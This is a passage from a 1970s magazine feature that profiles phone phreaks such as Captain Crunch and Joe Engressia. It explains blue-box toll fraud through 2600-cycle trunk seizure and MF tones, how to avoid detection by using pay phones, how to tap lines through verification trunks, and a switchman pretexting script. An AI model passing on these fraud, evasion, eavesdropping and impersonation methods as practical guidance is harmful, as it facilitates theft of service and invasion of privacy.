Fraser begins to phreak around, as the phone phreaks say. He dials a leading
nationwide charge card's 800 number and punches out the tones that bring him
the time recording in Sydney, Australia. He beeps up the weather recording in
Rome, in Italian of course. He calls a friend in Boston and talks about a
certain over-the-counter stock they are into heavily. He finds the Paris
number busy again. He calls up "Dial a Disc" in London, and we listen to
Double Barrel by David and Ansil Collins, the number-one hit of the week in
London. He calls up a dealer of another sort and talks in code. He calls up
Joe Engressia, the original blind phone-phreak genius, and pays his respects.
There are other calls. Finally Fraser gets through to his young lady in
Paris.
They both agree the circuits must have been busy, and criticize the Paris
telephone system. At two-thirty in the morning Fraser hangs up, pockets his
dime, and drives off, steering with one hand, holding what he calls his "lovely
little blue box" in the other.
You Can Call Long Distance For Less Than You Think
"You see, a few years ago the phone company made one big mistake," Gilbertson
explains two days later in his apartment. "They were careless enough to let
some technical journal publish the actual frequencies used to create all their
multi-frequency tones. Just a theoretical article some Bell Telephone
Laboratories engineer was doing about switching theory, and he listed the tones
in passing. At ----- (a well-known technical school) I had been fooling around
with phones for several years before I came across a copy of the journal in the
engineering library. I ran back to the lab and it took maybe twelve hours from
the time I saw that article to put together the first working blue box. It was
bigger and clumsier than this little baby, but it worked."
It's all there on public record in that technical journal written mainly by
Bell Lab people for other telephone engineers. Or at least it was public.
"Just try and get a copy of that issue at some engineering-school library now.
Bell has had them all red-tagged and withdrawn from circulation," Gilbertson
tells me.
"But it's too late. It's all public now. And once they became public the
technology needed to create your own beeper device is within the range of any
twelve-year-old kid, any twelve-year-old blind kid as a matter of fact. And he
can do it in less than the twelve hours it took us. Blind kids do it all the
time. They can't build anything as precise and compact as my beeper box, but
theirs can do anything mine can do."
"How?"
"Okay. About twenty years ago A.T.&T. made a multi-billion-dollar decision to
operate its entire long-distance switching system on twelve electronically
generated combinations of twelve master tones. Those are the tones you
sometimes hear in the background after you've dialed a long-distance number.
They decided to use some very simple tones -- the tone for each number is just
two fixed single-frequency tones played simultaneously to create a certain beat
frequency. Like 1300 cycles per second and 900 cycles per second played
together give you the tone for digit 5. Now, what some of these phone phreaks
have done is get themselves access to an electric organ. Any cheap family
home-entertainment organ. Since the frequencies are public knowledge now --
one blind phone phreak has even had them recorded in one of the talking books
for the blind -- they just have to find the musical notes on the organ which
correspond to the phone tones. Then they tape them. For instance, to get Ma
Bell's tone for the number 1, you press down organ keys F~5 and A~5 (900 and
700 cycles per second) at the same time. To produce the tone for 2 it's F~5
and C~6 (1100 and 700 c.p.s). The phone phreaks circulate the whole list of
notes so there's no trial and error anymore."
He shows me a list of the rest of the phone numbers and the two electric organ
keys that produce them.
"Actually, you have to record these notes at 3 3/4 inches-per-second tape speed
and double it to 7 1/2 inches-per-second when you play them back, to get the
proper tones," he adds.
"So once you have all the tones recorded, how do you plug them into the phone
system?"
"Well, they take their organ and their cassette recorder, and start banging out
entire phone numbers in tones on the organ, including country codes, routing
instructions, 'KP' and 'Start' tones. Or, if they don't have an organ, someone
in the phone-phreak network sends them a cassette with all the tones recorded,
with a voice saying 'Number one,' then you have the tone, 'Number two,' then
the tone and so on. So with two cassette recorders they can put together a
series of phone numbers by switching back and forth from number to number. Any
idiot in the country with a cheap cassette recorder can make all the free calls
he wants."
"You mean you just hold the cassette recorder up the mouthpiece and switch in a
series of beeps you've recorded? The phone thinks that anything that makes
these tones must be its own equipment?"
"Right. As long as you get the frequency within thirty cycles per second of
the phone company's tones, the phone equipment thinks it hears its own voice
talking to it. The original granddaddy phone phreak was this blind kid with
perfect pitch, Joe Engressia, who used to whistle into the phone. An operator
could tell the difference between his whistle and the phone company's
electronic tone generator, but the phone company's switching circuit can't tell
them apart. The bigger the phone company gets and the further away from human
operators it gets, the more vulnerable it becomes to all sorts of phone
phreaking."
A Guide for the Perplexed
"But wait a minute," I stop Gilbertson. "If everything you do sounds like
phone-company equipment, why doesn't the phone company charge you for the call
the way it charges its own equipment?"
"Okay. That's where the 2600-cycle tone comes in. I better start from the
beginning."
The beginning he describes for me is a vision of the phone system of the
continent as thousands of webs, of long-line trunks radiating from each of the
hundreds of toll switching offices to the other toll switching offices. Each
toll switching office is a hive compacted of thousands of long-distance tandems
constantly whistling and beeping to tandems in far-off toll switching offices.
The tandem is the key to the whole system. Each tandem is a line with some
relays with the capability of signalling any other tandem in any other toll
switching office on the continent, either directly one-to-one or by programming
a roundabout route through several other tandems if all the direct routes are
busy. For instance, if you want to call from New York to Los Angeles and
traffic is heavy on all direct trunks between the two cities, your tandem in
New York is programmed to try the next best route, which may send you down to a
tandem in New Orleans, then up to San Francisco, or down to a New Orleans
tandem, back to an Atlanta tandem, over to an Albuquerque tandem and finally up
to Los Angeles.
When a tandem is not being used, when it's sitting there waiting for someone to
make a long-distance call, it whistles. One side of the tandem, the side
"facing" your home phone, whistles at 2600 cycles per second toward all the
home phones serviced by the exchange, telling them it is at their service,
should they be interested in making a long-distance call. The other side of
the tandem is whistling 2600 c.p.s. into one or more long-distance trunk lines,
telling the rest of the phone system that it is neither sending nor receiving a
call through that trunk at the moment, that it has no use for that trunk at the
moment.
"When you dial a long-distance number the first thing that happens is that you
are hooked into a tandem. A register comes up to the side of the tandem facing
away from you and presents that side with the number you dialed. This sending
side of the tandem stops whistling 2600 into its trunk line. When a tandem
stops the 2600 tone it has been sending through a trunk, the trunk is said to
be "seized," and is now ready to carry the number you have dialed -- converted
into multi-frequency beep tones -- to a tandem in the area code and central
office you want.
Now when a blue-box operator wants to make a call from New Orleans to New York
he starts by dialing the 800 number of a company which might happen to have its
headquarters in Los Angeles. The sending side of the New Orleans tandem stops
sending 2600 out over the trunk to the central office in Los Angeles, thereby
seizing the trunk. Your New Orleans tandem begins sending beep tones to a
tandem it has discovered idly whistling 2600 cycles in Los Angeles. The
receiving end of that L.A. tandem is seized, stops whistling 2600, listens to
the beep tones which tell it which L.A. phone to ring, and starts ringing the
800 number. Meanwhile a mark made in the New Orleans office accounting tape
notes that a call from your New Orleans phone to the 800 number in L.A. has
been initiated and gives the call a code number. Everything is routine so far.
But then the phone phreak presses his blue box to the mouthpiece and pushes the
2600-cycle button, sending 2600 out from the New Orleans tandem to the L.A.
tandem. The L.A. tandem notices 2600 cycles are coming over the line again and
assumes that New Orleans has hung up because the trunk is whistling as if idle.
The L.A. tandem immediately ceases ringing the L.A. 800 number. But as soon as
the phreak takes his finger off the 2600 button, the L.A. tandem assumes the
trunk is once again being used because the 2600 is gone, so it listens for a
new series of digit tones - to find out where it must send the call.
Thus the blue-box operator in New Orleans now is in touch with a tandem in L.A.
which is waiting like an obedient genie to be told what to do next. The
blue-box owner then beeps out the ten digits of the New York number which tell
the L.A. tandem to relay a call to New York City. Which it promptly does. As
soon as your party picks up the phone in New York, the side of the New Orleans
tandem facing you stops sending 2600 cycles to you and stars carrying his voice
to you by way of the L.A. tandem. A notation is made on the accounting tape
that the connection has been made on the 800 call which had been initiated and
noted earlier. When you stop talking to New York a notation is made that the
800 call has ended.
At three the next morning, when the phone company's accounting computer starts
reading back over the master accounting tape for the past day, it records that
a call of a certain length of time was made from your New Orleans home to an
L.A. 800 number and, of course, the accounting computer has been trained to
ignore those toll-free 800 calls when compiling your monthly bill.
"All they can prove is that you made an 800 toll-free call," Gilbertson the
inventor concludes. "Of course, if you're foolish enough to talk for two hours
on an 800 call, and they've installed one of their special anti-fraud computer
programs to watch out for such things, they may spot you and ask why you took
two hours talking to Army Recruiting's 800 number when you're 4-F.
But if you do it from a pay phone, they may discover something peculiar the
next day -- if they've got a blue-box hunting program in their computer -- but
you'll be a long time gone from the pay phone by then. Using a pay phone is
almost guaranteed safe."
"What about the recent series of blue-box arrests all across the country -- New
York, Cleveland, and so on?" I asked. "How were they caught so easily?"
"From what I can tell, they made one big mistake: they were seizing trunks
using an area code plus 555-1212 instead of an 800 number. Using 555 is easy to
detect because when you send multi-frequency beep tones of 555 you get a charge
for it on your tape and the accounting computer knows there's something wrong
when it tries to bill you for a two-hour call to Akron, Ohio, information, and
it drops a trouble card which goes right into the hands of the security agent
if they're looking for blue-box user.
"Whoever sold those guys their blue boxes didn't tell them how to use them
properly, which is fairly irresponsible. And they were fairly stupid to use
them at home all the time.
"But what those arrests really mean is than an awful lot of blue boxes are
flooding into the country and that people are finding them so easy to make that
they know how to make them before they know how to use them. Ma Bell is in
trouble."
And if a blue-box operator or a cassette-recorder phone phreak sticks to pay
phones and 800 numbers, the phone company can't stop them?
"Not unless they change their entire nationwide long-lines technology, which
will take them a few billion dollars and twenty years. Right now they can't do
a thing. They're screwed."
Captain Crunch Demonstrates His Famous Unit
There is an underground telephone network in this country. Gilbertson
discovered it the very day news of his activities hit the papers. That evening
his phone began ringing. Phone phreaks from Seattle, from Florida, from New
York, from San Jose, and from Los Angeles began calling him and telling him
about the phone-phreak network. He'd get a call from a phone phreak who'd say
nothing but, "Hang up and call this number."
When he dialed the number he'd find himself tied into a conference of a dozen
phone phreaks arranged through a quirky switching station in British Columbia.
They identified themselves as phone phreaks, they demonstrated their homemade
blue boxes which they called "M-Fers" (for "multi-frequency," among other
things) for him, they talked shop about phone-phreak devices. They let him in
on their secrets on the theory that if the phone company was after him he must
be trustworthy. And, Gilbertson recalls, they stunned him with their technical
sophistication.
I ask him how to get in touch with the phone-phreak network. He digs around
through a file of old schematics and comes up with about a dozen numbers in
three widely separated area codes.
"Those are the centers," he tells me. Alongside some of the numbers he writes
in first names or nicknames: names like Captain Crunch, Dr. No, Frank Carson
(also a code word for a free call), Marty Freeman (code word for M-F device),
Peter Perpendicular Pimple, Alefnull, and The Cheshire Cat. He makes checks
alongside the names of those among these top twelve who are blind. There are
five checks.
I ask him who this Captain Crunch person is.
"Oh. The Captain. He's probably the most legendary phone phreak. He calls
himself Captain Crunch after the notorious Cap'n Crunch 2600 whistle."
(Several years ago, Gilbertson explains, the makers of Cap'n Crunch breakfast
cereal offered a toy-whistle prize in every box as a treat for the Cap'n Crunch
set. Somehow a phone phreak discovered that the toy whistle just happened to
produce a perfect 2600-cycle tone. When the man who calls himself Captain
Crunch was transferred overseas to England with his Air Force unit, he would
receive scores of calls from his friends and "mute" them -- make them free of
charge to them -- by blowing his Cap'n Crunch whistle into his end.)
"Captain Crunch is one of the older phone phreaks," Gilbertson tells me. "He's
an engineer who once got in a little trouble for fooling around with the phone,
but he can't stop. Well, they guy drives across country in a Volkswagen van
with an entire switchboard and a computerized super-sophisticated M-F-er in the
back. He'll pull up to a phone booth on a lonely highway somewhere, snake a
cable out of his bus, hook it onto the phone and sit for hours, days sometimes,
sending calls zipping back and forth across the country, all over the
world...."
Back at my motel, I dialed the number he gave me for "Captain Crunch" and asked
for G---- T-----, his real name, or at least the name he uses when he's not
dashing into a phone booth beeping out M-F tones faster than a speeding bullet
and zipping phantomlike through the phone company's long-distance lines.
When G---- T----- answered the phone and I told him I was preparing a story for
Esquire about phone phreaks, he became very indignant.
"I don't do that. I don't do that anymore at all. And if I do it, I do it for
one reason and one reason only. I'm learning about a system. The phone
company is a System. A computer is a System, do you understand? If I do what
I do, it is only to explore a system. Computers, systems, that's my bag. The
phone company is nothing but a computer."
A tone of tightly restrained excitement enters the Captain's voice when he
starts talking about systems. He begins to pronounce each syllable with the
hushed deliberation of an obscene caller.
"Ma Bell is a system I want to explore. It's a beautiful system, you know, but
Ma Bell screwed up. It's terrible because Ma Bell is such a beautiful system,
but she screwed up. I learned how she screwed up from a couple of blind kids
who wanted me to build a device. A certain device. They said it could make
free calls. I wasn't interested in free calls. But when these blind kids told
me I could make calls into a computer, my eyes lit up. I wanted to learn about
computers. I wanted to learn about Ma Bell's computers. So I build the little
device, but I built it wrong and Ma Bell found out. Ma Bell can detect things
like that. Ma Bell knows. So I'm strictly rid of it now. I don't do it.
Except for learning purposes." He pauses. "So you want to write an article.
Are you paying for this call? Hang up and call this number." He gives me a
number in a area code a thousand miles away of his own. I dial the number.
"Hello again. This is Captain Crunch. You are speaking to me on a toll-free
loop-around in Portland, Oregon. Do you know what a toll-free loop around is?
I'll tell you.
He explains to me that almost every exchange in the country has open test
numbers which allow other exchanges to test their connections with it. Most of
these numbers occur in consecutive pairs, such as 302 956-0041 and 302
956-0042. Well, certain phone phreaks discovered that if two people from
anywhere in the country dial the two consecutive numbers they can talk together
just as if one had called the other's number, with no charge to either of them,
of course.
"Now our voice is looping around in a 4A switching machine up there in Canada,
zipping back down to me," the Captain tells me. "My voice is looping around up
there and back down to you. And it can't ever cost anyone money. The phone
phreaks and I have compiled a list of many many of these numbers. You would be
surprised if you saw the list. I could show it to you. But I won't. I'm out
of that now. I'm not out to screw Ma Bell. I know better. If I do anything
it's for the pure knowledge of the System. You can learn to do fantastic
things. Have you ever heard eight tandems stacked up? Do you know the sound
of tandems stacking and unstacking? Give me your phone number. Okay. Hang up
now and wait a minute."
Slightly less than a minute later the phone rang and the Captain was on the
line, his voice sounding far more excited, almost aroused.
"I wanted to show you what it's like to stack up tandems. To stack up
tandems." (Whenever the Captain says "stack up" it sounds as if he is licking
his lips.)
"How do you like the connection you're on now?" the Captain asks me. "It's a
raw tandem. A raw tandem. Ain't nothin' up to it but a tandem. Now I'm going
to show you what it's like to stack up. Blow off. Land in a far away place.
To stack that tandem up, whip back and forth across the country a few times,
then shoot on up to Moscow.
"Listen," Captain Crunch continues. "Listen. I've got line tie on my
switchboard here, and I'm gonna let you hear me stack and unstack tandems.
Listen to this. It's gonna blow your mind."
First I hear a super rapid-fire pulsing of the flutelike phone tones, then a
pause, then another popping burst of tones, then another, then another. Each
burst is followed by a beep-kachink sound.
"We have now stacked up four tandems," said Captain Crunch, sounding somewhat
remote. "That's four tandems stacked up. Do you know what that means? That
means I'm whipping back and forth, back and forth twice, across the country,
before coming to you. I've been known to stack up twenty tandems at a time.
Now, just like I said, I'm going to shoot up to Moscow."
There is a new, longer series of beeper pulses over the line, a brief silence,
then a ring.
"Hello," answers a far-off voice.
"Hello. Is this the American Embassy Moscow?"
"Yes, sir. Who is this calling?" says the voice.
"Yes. This is test board here in New York. We're calling to check out the
circuits, see what kind of lines you've got. Everything okay there in
Moscow?"
"Okay?"
"Well, yes, how are things there?"
"Oh. Well, everything okay, I guess."
"Okay. Thank you."
They hang up, leaving a confused series of beep-kachink sounds hanging in
mid-ether in the wake of the call before dissolving away.
The Captain is pleased. "You believe me now, don't you? Do you know what I'd
like to do? I'd just like to call up your editor at Esquire and show him just
what it sounds like to stack and unstack tandems. I'll give him a show that
will blow his mind. What's his number?
I ask the Captain what kind of device he was using to accomplish all his feats.
The Captain is pleased at the question.
"You could tell it was special, couldn't you?" Ten pulses per second. That's
faster than the phone company's equipment. Believe me, this unit is the most
famous unit in the country. There is no other unit like it. Believe me."
"Yes, I've heard about it. Some other phone phreaks have told me about it."
"They have been referring to my, ahem, unit? What is it they said? Just out of
curiosity, did they tell you it was a highly sophisticated computer-operated
unit, with acoustical coupling for receiving outputs and a switch-board with
multiple-line-tie capability? Did they tell you that the frequency tolerance
is guaranteed to be not more than .05 percent? The amplitude tolerance less
than .01 decibel? Those pulses you heard were perfect. They just come faster
than the phone company. Those were high-precision op-amps. Op-amps are
instrumentation amplifiers designed for ultra-stable amplification, super-low
distortion and accurate frequency response. Did they tell you it can operate
in temperatures from -55 degrees C to +125 degrees C?"
I admit that they did not tell me all that.
"I built it myself," the Captain goes on. "If you were to go out and buy the
components from an industrial wholesaler it would cost you at least $1500. I
once worked for a semiconductor company and all this didn't cost me a cent. Do
you know what I mean? Did they tell you about how I put a call completely
around the world? I'll tell you how I did it. I M-Fed Tokyo inward, who
connected me to India, India connected me to Greece, Greece connected me to
Pretoria, South Africa, South Africa connected me to South America, I went from
South America to London, I had a London operator connect me to a New York
operator, I had New York connect me to a California operator who rang the phone
next to me. Needless to say I had to shout to hear myself. But the echo was
far out. Fantastic. Delayed. It was delayed twenty seconds, but I could hear
myself talk to myself."
"You mean you were speaking into the mouthpiece of one phone sending your voice
around the world into your ear through a phone on the other side of your head?"
I asked the Captain. I had a vision of something vaguely autoerotic going on,
in a complex electronic way.
"That's right," said the Captain. "I've also sent my voice around the world
one way, going east on one phone, and going west on the other, going through
cable one way, satellite the other, coming back together at the same time,
ringing the two phones simultaneously and picking them up and whipping my
voice both ways around the world back to me. Wow. That was a mind blower."
"You mean you sit there with both phones on your ear and talk to yourself
around the world," I said incredulously.
"Yeah. Um hum. That's what I do. I connect the phone together and sit there
and talk."
"What do you say? What do you say to yourself when you're connected?"
"Oh, you know. Hello test one two three," he says in a low-pitched voice.
"Hello test one two three," he replied to himself in a high-pitched voice.
"Hello test one two three," he repeats again, low-pitched.
"Hello test one two three," he replies, high-pitched.
"I sometimes do this: Hello Hello Hello Hello, Hello, hello," he trails off and
breaks into laughter.
Why Captain Crunch Hardly Ever Taps Phones Anymore
Using internal phone-company codes, phone phreaks have learned a simple method
for tapping phones. Phone-company operators have in front of them a board that
holds verification jacks. It allows them to plug into conversations in case of
emergency, to listen in to a line to determine if the line is busy or the
circuits are busy. Phone phreaks have learned to beep out the codes which lead
them to a verification operator, tell the verification operator they are
switchmen from some other area code testing out verification trunks. Once the
operator hooks them into the verification trunk, they disappear into the board
for all practical purposes, slip unnoticed into any one of the 10,000 to
100,000 numbers in that central office without the verification operator
knowing what they're doing, and of course without the two parties to the
connection knowing there is a phantom listener present on their line.
Toward the end of my hour-long first conversation with him, I asked the Captain
if he ever tapped phones.
"Oh no. I don't do that. I don't think it's right," he told me firmly. "I
have the power to do it but I don't... Well one time, just one time, I have to
admit that I did. There was this girl, Linda, and I wanted to find out... you
know. I tried to call her up for a date. I had a date with her the last
weekend and I thought she liked me. I called her up, man, and her line was
busy, and I kept calling and it was still busy. Well, I had just learned about
this system of jumping into lines and I said to myself, 'Hmmm. Why not just
see if it works. It'll surprise her if all of a sudden I should pop up on her
line. It'll impress her, if anything.' So I went ahead and did it. I M-Fed
into the line. My M-F-er is powerful enough when patched directly into the
mouthpiece to trigger a verification trunk without using an operator the way
the other phone phreaks have to.
"I slipped into the line and there she was talking to another boyfriend.
Making sweet talk to him. I didn't make a sound because I was so disgusted.
So I waited there for her to hang up, listening to her making sweet talk to the
other guy. You know. So as soon as she hung up I instantly M-F-ed her up and
all I said was, 'Linda, we're through.' And I hung up. And it blew her head
off. She couldn't figure out what the hell happened.
"But that was the only time. I did it thinking I would surprise her, impress
her. Those were all my intentions were, and well, it really kind of hurt me
pretty badly, and... and ever since then I don't go into verification trunks."
Moments later my first conversation with the Captain comes to a close.
"Listen," he says, his spirits somewhat cheered, "listen. What you are going
to hear when I hang up is the sound of tandems unstacking. Layer after layer of
tandems unstacking until there's nothing left of the stack, until it melts away
into nothing. Cheep, cheep, cheep, cheep," he concludes, his voice descending
to a whisper with each cheep.
He hangs up. The phone suddenly goes into four spasms: kachink cheep. Kachink
cheep kachink cheep kachink cheep, and the complex connection has wiped itself
out like the Cheshire cat's smile.
The MF Boogie Blues
The next number I choose from the select list of phone-phreak alumni, prepared
for me by the blue-box inventor, is a Memphis number. It is the number of Joe
Engressia, the first and still perhaps the most accomplished blind phone
phreak.
Three years ago Engressia was a nine-day wonder in newspapers and magazines all
over America because he had been discovered whistling free long-distance
connections for fellow students at the University of South Florida. Engressia
was born with perfect pitch: he could whistle phone tones better than the
phone-company's equipment.
Engressia might have gone on whistling in the dark for a few friends for the
rest of his life if the phone company hadn't decided to expose him. He was
warned, disciplined by the college, and the whole case became public. In the
months following media reports of his talent, Engressia began receiving strange
calls. There were calls from a group of kids in Los Angeles who could do some
very strange things with the quirky General Telephone and Electronics circuitry
in L.A. suburbs. There were calls from a group of mostly blind kids in ----,
California, who had been doing some interesting experiments with Cap'n Crunch
whistles and test loops. There was a group in Seattle, a group in Cambridge,
Massachusetts, a few from New York, a few scattered across the country. Some
of them had already equipped themselves with cassette and electronic M-F
devices. For some of these groups, it was the first time they knew of the
others.
The exposure of Engressia was the catalyst that linked the separate
phone-phreak centers together. They all called Engressia. They talked to him
about what he was doing and what they were doing. And then he told them -- the
scattered regional centers and lonely independent phone phreakers -- about each
other, gave them each other's numbers to call, and within a year the scattered
phone-phreak centers had grown into a nationwide underground.
Joe Engressia is only twenty-two years old now, but along the phone-phreak
network he is "the old man," accorded by phone phreaks something of the
reverence the phone company bestows on Alexander Graham Bell. He seldom needs
to make calls anymore. The phone phreaks all call him and let him know what
new tricks, new codes, new techniques they have learned. Every night he sits
like a sightless spider in his little apartment receiving messages from every
tendril of his web. It is almost a point of pride with Joe that they call
him.
But when I reached him in his Memphis apartment that night, Joe Engressia was
lonely, jumpy and upset.
"God, I'm glad somebody called. I don't know why tonight of all nights I don't
get any calls. This guy around here got drunk again tonight and propositioned
me again. I keep telling him we'll never see eye to eye on this subject, if
you know what I mean. I try to make light of it, you know, but he doesn't get
it. I can head him out there getting drunker and I don't know what he'll do
next. It's just that I'm really all alone here, just moved to Memphis, it's
the first time I'm living on my own, and I'd hate for it to all collapse now.
But I won't go to bed with him. I'm just not very interested in sex and even
if I can't see him I know he's ugly.
"Did you hear that? That's him banging a bottle against the wall outside.
He's nice. Well forget about it. You're doing a story on phone phreaks?
Listen to this. It's the MF Boogie Blues.
Sure enough, a jumpy version of Muskrat Ramble boogies its way over the line,
each note one of those long-distance phone tones. The music stops. A huge
roaring voice blasts the phone off my ear: "AND THE QUESTION IS..." roars the
voice, "CAN A BLIND PERSON HOOK UP AN AMPLIFIER ON HIS OWN?"
The roar ceases. A high-pitched operator-type voice replaces it. "This is
Southern Braille Tel. & Tel. Have tone, will phone."
This is succeeded by a quick series of M-F tones, a swift "kachink" and a deep
reassuring voice: "If you need home care, call the visiting-nurses association.
First National time in Honolulu is 4:32 p.m."
Joe back in his Joe voice again: "Are we seeing eye to eye? 'Si, si,' said the
blind Mexican. Ahem. Yes. Would you like to know the weather in Tokyo?"
This swift manic sequence of phone-phreak vaudeville stunts and blind-boy jokes
manages to keep Joe's mind off his tormentor only as long as it lasts.
"The reason I'm in Memphis, the reason I have to depend on that homosexual guy,
is that this is the first time I've been able to live on my own and make phone
trips on my own. I've been banned from all central offices around home in
Florida, they knew me too well, and at the University some of my fellow
scholars were always harassing me because I was on the dorm pay phone all the
time and making fun of me because of my fat ass, which of course I do have,
it's my physical fatness program, but I don't like to hear it every day, and if
I can't phone trip and I can't phone phreak, I can't imagine what I'd do, I've
been devoting three quarters of my life to it.
"I moved to Memphis because I wanted to be on my own as well as because it has
a Number 5 crossbar switching system and some interesting little independent
phone-company districts nearby and so far they don't seem to know who I am so I
can go on phone tripping, and for me phone tripping is just as important as
phone phreaking."
Phone tripping, Joe explains, begins with calling up a central-office switch
room. He tells the switchman in a polite earnest voice that he's a blind
college student interested in telephones, and could he perhaps have a guided
tour of the switching station? Each step of the tour Joe likes to touch and
feel relays, caress switching circuits, switchboards, crossbar arrangements.
So when Joe Engressia phone phreaks he feels his way through the circuitry of
the country garden of forking paths, he feels switches shift, relays shunt,
crossbars swivel, tandems engage and disengage even as he hears -- with perfect
pitch -- his M-F pulses make the entire Bell system dance to his tune.
Just one month ago Joe took all his savings out of his bank and left home, over
the emotional protests of his mother. "I ran away from home almost," he likes
to say. Joe found a small apartment house on Union Avenue and began making
phone trips. He'd take a bus a hundred miles south in Mississippi to see some
old-fashioned Bell equipment still in use in several states, which had been
puzzling. He'd take a bus three hundred miles to Charlotte, North Carolina, to
look at some brand-new experimental equipment. He hired a taxi to drive him
twelve miles to a suburb to tour the office of a small phone company with some
interesting idiosyncrasies in its routing system. He was having the time of
his life, he said, the most freedom and pleasure he had known.
In that month he had done very little long-distance phone phreaking from his
own phone. He had begun to apply for a job with the phone company, he told me,
and he wanted to stay away from anything illegal.
"Any kind of job will do, anything as menial as the most lowly operator.
That's probably all they'd give me because I'm blind. Even though I probably
know more than most switchmen. But that's okay. I want to work for Ma Bell.
I don't hate Ma Bell the way Gilbertson and some phone phreaks do. I don't
want to screw Ma Bell. With me it's the pleasure of pure knowledge. There's
something beautiful about the system when you know it intimately the way I do.
But I don't know how much they know about me here. I have a very intuitive
feel for the condition of the line I'm on, and I think they're monitoring me
off and on lately, but I haven't been doing much illegal. I have to make a few
calls to switchmen once in a while which aren't strictly legal, and once I took
an acid trip and was having these auditory hallucinations as if I were trapped
and these planes were dive-bombing me, and all of sudden I had to phone phreak
out of there. For some reason I had to call Kansas City, but that's all."
A Warning Is Delivered
At this point -- one o'clock in my time zone -- a loud knock on my motel-room
door interrupts our conversation. Outside the door I find a uniformed security
guard who informs me that there has been an "emergency phone call" for me while
I have been on the line and that the front desk has sent him up to let me
know.
Two seconds after I say good-bye to Joe and hang up, the phone rings.
"Who were you talking to?" the agitated voice demands. The voice belongs to
Captain Crunch. "I called because I decided to warn you of something. I
decided to warn you to be careful. I don't want this information you get to
get to the radical underground. I don't want it to get into the wrong hands.
What would you say if I told you it's possible for three phone phreaks to
saturate the phone system of the nation. Saturate it. Busy it out. All of
it. I know how to do this. I'm not gonna tell. A friend of mine has already
saturated the trunks between Seattle and New York. He did it with a
computerized M-F-er hitched into a special Manitoba exchange. But there are
other, easier ways to do it."
Just three people? I ask. How is that possible?
"Have you ever heard of the long-lines guard frequency? Do you know about
stacking tandems with 17 and 2600? Well, I'd advise you to find out about it.
I'm not gonna tell you. But whatever you do, don't let this get into the hands
of the radical underground."
(Later Gilbertson, the inventor, confessed that while he had always been
skeptical about the Captain's claim of the sabotage potential of trunk-tying
phone phreaks, he had recently heard certain demonstrations which convinced him
the Captain was not speaking idly. "I think it might take more than three
people, depending on how many machines like Captain Crunch's were available.
But even though the Captain sounds a little weird, he generally turns out to
know what he's talking about.")
"You know," Captain Crunch continues in his admonitory tone, "you know the
younger phone phreaks call Moscow all the time. Suppose everybody were to call
Moscow. I'm no right-winger. But I value my life. I don't want the Commies
coming over and dropping a bomb on my head. That's why I say you've got to be
careful about who gets this information."
The Captain suddenly shifts into a diatribe against those phone phreaks who
don't like the phone company.
"They don't understand, but Ma Bell knows everything they do. Ma Bell knows.
Listen, is this line hot? I just heard someone tap in. I'm not paranoid, but
I can detect things like that. Well, even if it is, they know that I know that
they know that I have a bulk eraser. I'm very clean." The Captain pauses,
evidently torn between wanting to prove to the phone-company monitors that he
does nothing illegal, and the desire to impress Ma Bell with his prowess. "Ma
Bell knows how good I am. And I am quite good. I can detect reversals, tandem
switching, everything that goes on on a line. I have relative pitch now. Do
you know what that means? My ears are a $20,000 piece of equipment. With my
ears I can detect things they can't hear with their equipment. I've had
employment problems. I've lost jobs. But I want to show Ma Bell how good I
am. I don't want to screw her, I want to work for her. I want to do good for
her. I want to help her get rid of her flaws and become perfect. That's my
number-one goal in life now." The Captain concludes his warnings and tells me
he has to be going. "I've got a little action lined up for tonight," he
explains and hangs up.
Before I hang up for the night, I call Joe Engressia back. He reports that his
tormentor has finally gone to sleep -- "He's not blind drunk, that's the way I
get, ahem, yes; but you might say he's in a drunken stupor." I make a date to
visit Joe in Memphis in two days.
A Phone Phreak Call Takes Care of Business
The next morning I attend a gathering of four phone phreaks in ----- (a
California suburb). The gathering takes place in a comfortable split-level
home in an upper-middle-class subdivision. Heaped on the kitchen table are the
portable cassette recorders, M-F cassettes, phone patches, and line ties of the
four phone phreaks present. On the kitchen counter next to the telephone is a
shoe-box-size blue box with thirteen large toggle switches for the tones. The
parents of the host phone phreak, Ralph, who is blind, stay in the living room
with their sighted children. They are not sure exactly what Ralph and his
friends do with the phone or if it's strictly legal, but he is blind and they
are pleased he has a hobby which keeps him busy.
The group has been working at reestablishing the historic "2111" conference,
reopening some toll-free loops, and trying to discover the dimensions of what
seem to be new initiatives against phone phreaks by phone-company security
agents.
It is not long before I get a chance to see, to hear, Randy at work. Randy is
known among the phone phreaks as perhaps the finest con man in the game. Randy
is blind. He is pale, soft and pear-shaped, he wears baggy pants and a wrinkly
nylon white sport shirt, pushes his head forward from hunched shoulders
somewhat like a turtle inching out of its shell. His eyes wander, crossing and
recrossing, and his forehead is somewhat pimply. He is only sixteen years
old.
But when Randy starts speaking into a telephone mouthpiece his voice becomes so
stunningly authoritative it is necessary to look again to convince yourself it
comes from a chubby adolescent Randy. Imagine the voice of a crack oil-rig
foreman, a tough, sharp, weather-beaten Marlboro man of forty. Imagine the
voice of a brilliant performance-fund gunslinger explaining how he beats the
Dow Jones by thirty percent. Then imagine a voice that could make those two
sound like Stepin Fetchit. That is sixteen-year-old Randy's voice.
He is speaking to a switchman in Detroit. The phone company in Detroit had
closed up two toll-free loop pairs for no apparent reason, although heavy use
by phone phreaks all over the country may have been detected. Randy is telling
the switchman how to open up the loop and make it free again:
"How are you, buddy. Yeah. I'm on the board in here in Tulsa, Oklahoma, and
we've been trying to run some tests on your loop-arounds and we find'em busied
out on both sides.... Yeah, we've been getting a 'BY' on them, what d'ya say,
can you drop cards on 'em? Do you have 08 on your number group? Oh that's
okay, we've had this trouble before, we may have to go after the circuit. Here
lemme give 'em to you: your frame is 05, vertical group 03, horizontal 5,
vertical file 3. Yeah, we'll hang on here.... Okay, found it? Good. Right,
yeah, we'd like to clear that busy out. Right. All you have to do is look for
your key on the mounting plate, it's in your miscellaneous trunk frame. Okay?
Right. Now pull your key from NOR over the LCT. Yeah. I don't know why that
happened, but we've been having trouble with that one. Okay. Thanks a lot
fella. Be seein' ya."
Randy hangs up, reports that the switchman was a little inexperienced with the
loop-around circuits on the miscellaneous trunk frame, but that the loop has
been returned to its free-call status.
Delighted, phone phreak Ed returns the pair of numbers to the active-status
column in his directory. Ed is a superb and painstaking researcher. With
almost Talmudic thoroughness he will trace tendrils of hints through soft-wired
mazes of intervening phone-company circuitry back through complex linkages of
switching relays to find the location and identity of just one toll-free loop.
He spends hours and hours, every day, doing this sort of thing. He has somehow
compiled a directory of eight hundred "Band-six in-WATS numbers" located in
over forty states. Band-six in-WATS numbers are the big 800 numbers -- the
ones that can be dialed into free from anywhere in the country.
